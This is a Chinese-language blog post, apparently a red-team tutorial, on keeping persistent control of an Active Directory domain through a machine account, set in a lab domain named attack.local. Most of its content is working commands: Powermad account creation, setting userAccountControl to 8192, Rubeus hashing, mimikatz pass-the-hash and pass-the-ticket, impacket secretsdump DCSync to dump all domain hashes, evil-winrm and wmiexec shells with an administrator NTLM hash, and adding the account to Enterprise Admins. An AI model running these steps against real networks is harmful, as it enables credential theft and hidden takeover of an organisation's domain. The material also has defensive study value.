前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用机器账户进行域维权

利用机器账户进行域维权

作者头像
Nayon
发布2023-04-17 19:51:51
6530
发布2023-04-17 19:51:51
举报
文章被收录于专栏:内网安全学习笔记

前言

机器账户在许多技术中可以用于提权或横向移动,如使用机器账户的委派进行dcsync,使用机器账户也可进行维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。

除了上述作用,使用机器账户也可进行域维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。

userAccountControl说明

默认的情况下,域中的标准用户最多可以创建10个机器账户,这是由ms-DS-MachineAccountQuota进行设定的。我们可以使用Powermad等工具从加入域和未加入域的主机中进行添加账户操作。但为了让机器账户在域中显示为域控制器,我们还需要将userAccountControl属性设置为0x2000(SERVER_TRUST_ACCOUNT)的值。0x2000换算为十进制数字为8192.修改此属性需要域管理员级别的权限。下面我们从ADSI编辑器中进行修改,改为8192

image-20220217123153176
image-20220217123153176

PowerMad+Active Directory组合:

添加机器账户

我们在进行维权时,可以从利用工具从命令行创建机器账户。例如Standln、SharpMad以及PowerMad等工具;下面展示如何利用PowerMad在域内添加一个机器账户。

代码语言:javascript
复制
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount Nayon -Domain attack.local -DomainController dc.attack.local
image-20220217123705198
image-20220217123705198

此时我们便添加机器账户成功了,利用如下命令查看:

代码语言:javascript
复制
net group "domain computers" /domain
image-20220217124450971
image-20220217124450971

修改机器账户userAccountControl属性值

我们所创建的这台机器账户primarygroupid经过查询可知是515,他是域组的RID,表示这是一台域计算机,利用Active-Module模块,使用域管权限账户为计算机账户Nayon修改userAccountControl值为8192,则primarygroupid将更改为属于域控制器(可写)的 516。

代码语言:javascript
复制
Get-ADComputer Nayon -pro * | Select-object name, primarygroupid, useraccountcontrol
Set-ADComputer Nayon -replace @{ "userAccountcontrol" = 8192 }
image-20220217125926482
image-20220217125926482

[^此处若发现域主机内不存在Active Directory模块,可在本地上传Microsoft.ActiveDirectory.Management .dll在Powershell利用import-module 进行安装使用]:

此处为执行效果。

获得机器账户hash

由于我们已知机器账户的密码,因此我们可以利用它的NTLM 、aes128、aes256 hash 来进行pth,用于获得一个拥有域控制器权限的会话。

利用Rubes将Nayon账户的明文密码转为NTLM hash,用于维权时进行的pth。

代码语言:javascript
复制
Rubeus.exe hash /user:Nayon /password:Password@1! /domain:attack.local
image-20220217182940119
image-20220217182940119

如图所示,成功拿到了机器账户的hash。

利用方式:

PTH传递获得权限

在域内机器上利用mimikatz进行pth攻击,成功弹回具有Nayon用户权限的新会话。

代码语言:javascript
复制
sekurlsa::pth /user:Nayon /domain:attack.local /aes128:95F9380561068098A673F425207EFA0D
image-20220217183728074
image-20220217183728074

注意:此处拿到的会话,唯有域用户处于高权限组内才可使用dcsync获得域内hash。

利用PTT获得权限

由于PTH是需要本地管理员权限的,若我们此时连本地管理员权限都没有,我们还可以使用mimikatz自带的ptt功能拿到相应权限。

注意:此处拿到的会话,本人本地测试即使是将机器用户的userAccountConrol属性值改为8192也无法执行dcsync获得域内hash,唯有划入域内高权限组内可以使用机器账户权限执行dcsync。

利用利用Rubes申请拿到机器账户的hash

代码语言:javascript
复制
Rubeus.exe hash /user:Nayon /password:123456 /domain:attack.local

使用keke申请tgt票据,用于下一步的ptt攻击

代码语言:javascript
复制
tgt::ask /user:Nayon2 /domain:attack.local /ntlm:32ED87BDB5FDC5E9CBA88547376818D4
image-20220219181751543
image-20220219181751543
代码语言:javascript
复制
kerberos::ptt  TGT_Nayon@ATTACK.LOCAL_krbtgt~attack.local@ATTACK.LOCAL.kirbi
image-20220219181849365
image-20220219181849365

此时成功拿到域内hash

利用impacket套件执行dcsync

使用Impacket套件中的secretsdump.py脚本,结合域内机器账户的凭证拖取域内hash

代码语言:javascript
复制
python3 secretsdump.py attack.local/Nayon\$:'Password@1!'@10.10.10.165 -just-dc

利用其中的域管NTLM hash与域控机进行通信

Evil-WinRM通过WinRM远程链接

前提是域管开启WinRM服务,默认端口5985

指定域管用户以及域管用户的NTLM hash 远程链接

代码语言:javascript
复制
evil-winrm -i 10.10.10.165 -u administrator -H dbf36575210cc5a38ab4050cc6a2e9aa

Impacket套件wmiexec.py远程链接
代码语言:javascript
复制
python3 wmiexec.py -hash dbf36575210cc5a38ab4050cc6a2e9aa administrator@10.10.10.165

加入高权限用户组用以维权

除去域用户之外,域内机器账户也可以添加到高权限用户组中用以维权。利用Active Directory模块查询域管用户所在的用户组。

代码语言:javascript
复制
Get-ADGroupMember "administrators"
image-20220218223834377
image-20220218223834377

使用域管权限的会话添加机器账户Nayon$到高权限用户组内。

可加入Enterprise Admins、Administrators、Domain Admins等高权限组内用以维权。

代码语言:javascript
复制
net group "Enterprise admins" Nayon$ /add /domain

利用net group查看是否被添加成功

代码语言:javascript
复制
net group "Enterprise admins" /domain
image-20220219174954928
image-20220219174954928

此时我们便可以使用Impacket中的secretsdump项目获得域内hash

代码语言:javascript
复制
python3 secretsdump.py attack.local/Nayon\$:'123456'@10.10.10.165 -just-dc-user krbtgt

其余利用方式大同小异,在这里我便不再过多赘述了……

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-02-152,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • userAccountControl说明
  • PowerMad+Active Directory组合:
    • 添加机器账户
      • 修改机器账户userAccountControl属性值
        • 获得机器账户hash
          • 利用方式:
            • PTH传递获得权限
            • 利用PTT获得权限
            • 利用impacket套件执行dcsync
            • Evil-WinRM通过WinRM远程链接
            • Impacket套件wmiexec.py远程链接
          • 加入高权限用户组用以维权
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档